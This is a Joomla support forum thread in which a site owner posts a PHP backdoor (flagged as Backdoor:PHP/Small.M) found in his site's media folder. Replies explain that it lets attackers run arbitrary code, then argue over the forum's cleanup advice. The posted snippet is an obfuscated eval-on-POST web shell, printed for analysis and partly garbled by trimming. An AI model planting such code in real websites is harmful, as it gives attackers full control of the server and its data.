Backdoor:PHP/Small.M found, but what can it do ?

Discussion regarding Joomla! 3.x security issues.

Moderators: mandville, General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Forum Post Assistant / FPA - If you are serious about wanting help, you will use this tool to help you post.
Windows Defender SmartScreen Issues <-- please read this if using Windows 10.
Locked
namviet
Joomla! Intern
Joomla! Intern
Posts: 69
Joined: Sat Mar 18, 2006 5:12 am

Backdoor:PHP/Small.M found, but what can it do ?

Post by namviet » Sat Jan 30, 2021 12:52 am

Hi everyone,

I found a strange php script in my Joomla site (Windows Defender named it Backdoor:PHP/Small.M), probably be leaving there by an attacker. However the code unclear to me what can it do. Could you advice me what is the purpose of the attacker ? They created a file name "search.php" and placed in a Joomla media folder, the content in the file is:

Code: Select all

<?php
    $gll9= "o_pst" ; 
    $pxi6=strtoupper( $gll9[1]ich means to set $pxi6 = "_POST"
    if (isset( ${ $pxi6 } [ 'qe0080b'])) 
        {eval(${ $pxi6}[ 'qe0080b']); }
?> 
Thank you,
nv
PS. happy to be back here after so long time!
Last edited by mandville on Sat Jan 30, 2021 10:12 am, edited 1 time in total.
Reason: Trimmed code

User avatar
Webdongle
Joomla! Master
Joomla! Master
Posts: 44092
Joined: Sat Apr 05, 2008 9:58 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Webdongle » Sat Jan 30, 2021 2:05 am

It means that you have been hacked. Most likely the original hacker has announced the backdoor to others. You will almost certainly have many hack files. Is your site on localhost or remote server?

viewtopic.php?f=714&t=946026
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".

namviet
Joomla! Intern
Joomla! Intern
Posts: 69
Joined: Sat Mar 18, 2006 5:12 am

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by namviet » Sat Jan 30, 2021 10:24 am

Webdongle wrote:
Sat Jan 30, 2021 2:05 am
It means that you have been hacked. Most likely the original hacker has announced the backdoor to others. You will almost certainly have many hack files. Is your site on localhost or remote server?

viewtopic.php?f=714&t=946026
hi Webdongle, yes, seeing this strange file means the site has been compromised (hosted in VPS).
What I wonder is, what can they do with this peace of "backdoor" code on my server ?
Is it just a part of the backdoor, and the file to be included in other backdoor php files elsewhere on server, to be meaningful ?

Cheers,
nv

User avatar
Webdongle
Joomla! Master
Joomla! Master
Posts: 44092
Joined: Sat Apr 05, 2008 9:58 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Webdongle » Sat Jan 30, 2021 10:45 am

Anything they want.

Once a hacker has uploaded a file to your site then they are able to upload files that can
Use your server as a relay
Access your database
Steal your passwords
Add other files
Download viruses to visiting computers
And allow hackers as much access to your server as you have.
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".

Jim007
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 136
Joined: Sat Oct 18, 2008 7:22 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Jim007 » Sun Jan 31, 2021 12:26 am

i google searched that code and it went to a company, which i am sure is hacked also

[ redacted ] and looking at qe0080b brings up some russian language looking stuff
Last edited by toivo on Sun Jan 31, 2021 11:40 am, edited 1 time in total.
Reason: mod note: removed URL - please observe the warning about including links to non-Joomla websites!

Jim007
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 136
Joined: Sat Oct 18, 2008 7:22 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Jim007 » Sun Jan 31, 2021 12:28 am

I also want to say that every post in security that says viewtopic.php?f=714&t=946026 is ridiculous. I would like to know more answers than ... here read the topic. or at least make it better to read, get a little reach around first with grap a bottle of jack and a can of coke.... just saying

User avatar
abernyte
Joomla! Virtuoso
Joomla! Virtuoso
Posts: 4189
Joined: Fri May 15, 2009 2:01 pm
Location: Écosse - Scozia - Escocia - Škotija -स्कॉटलैंड

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by abernyte » Sun Jan 31, 2021 9:01 am

Most users who come here, having had a site hacked, are genuinely looking for help and advice on what to do.
The advice in viewtopic.php?f=714&t=946026 is a summary of viewtopic.php?f=714&t=757645 and will get users up and running again with a clean site. In this context, understanding what the hack does is irrelevant and the time wasted diving down that rabbit hole is time better spent cleaning and rebuilding a site. But you already know that as you have received help and advice on these boards for many years.
"Those who expect to reap the blessings of freedom must, like men, undergo the fatigue of supporting it." Thomas Paine

Jim007
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 136
Joined: Sat Oct 18, 2008 7:22 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Jim007 » Mon Feb 08, 2021 1:22 am

abernyte wrote:
Sun Jan 31, 2021 9:01 am
Most users who come here, having had a site hacked, are genuinely looking for help and advice on what to do.
The advice in viewtopic.php?f=714&t=946026 is a summary of viewtopic.php?f=714&t=757645 and will get users up and running again with a clean site. In this context, understanding what the hack does is irrelevant and the time wasted diving down that rabbit hole is time better spent cleaning and rebuilding a site. But you already know that as you have received help and advice on these boards for many years.
True

User avatar
Webdongle
Joomla! Master
Joomla! Master
Posts: 44092
Joined: Sat Apr 05, 2008 9:58 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Webdongle » Mon Feb 08, 2021 2:04 am

Then why criticise the advice?
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".

Jim007
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 136
Joined: Sat Oct 18, 2008 7:22 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Jim007 » Mon Feb 08, 2021 4:15 am

Because it is the same advice without actually hitting the root of the problem.

User avatar
Webdongle
Joomla! Master
Joomla! Master
Posts: 44092
Joined: Sat Apr 05, 2008 9:58 pm

Re: Backdoor:PHP/Small.M found, but what can it do ?

Post by Webdongle » Mon Feb 08, 2021 8:28 am

It eradicates the problem. The root of the problem is bad practice by the site admin and that can only be eradicated by themselves.

There have been many people like yourself who fail to understand the importance of the advice. Those are the users who keep getting hacked.
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".


Locked

Return to “Security in Joomla! 3.x”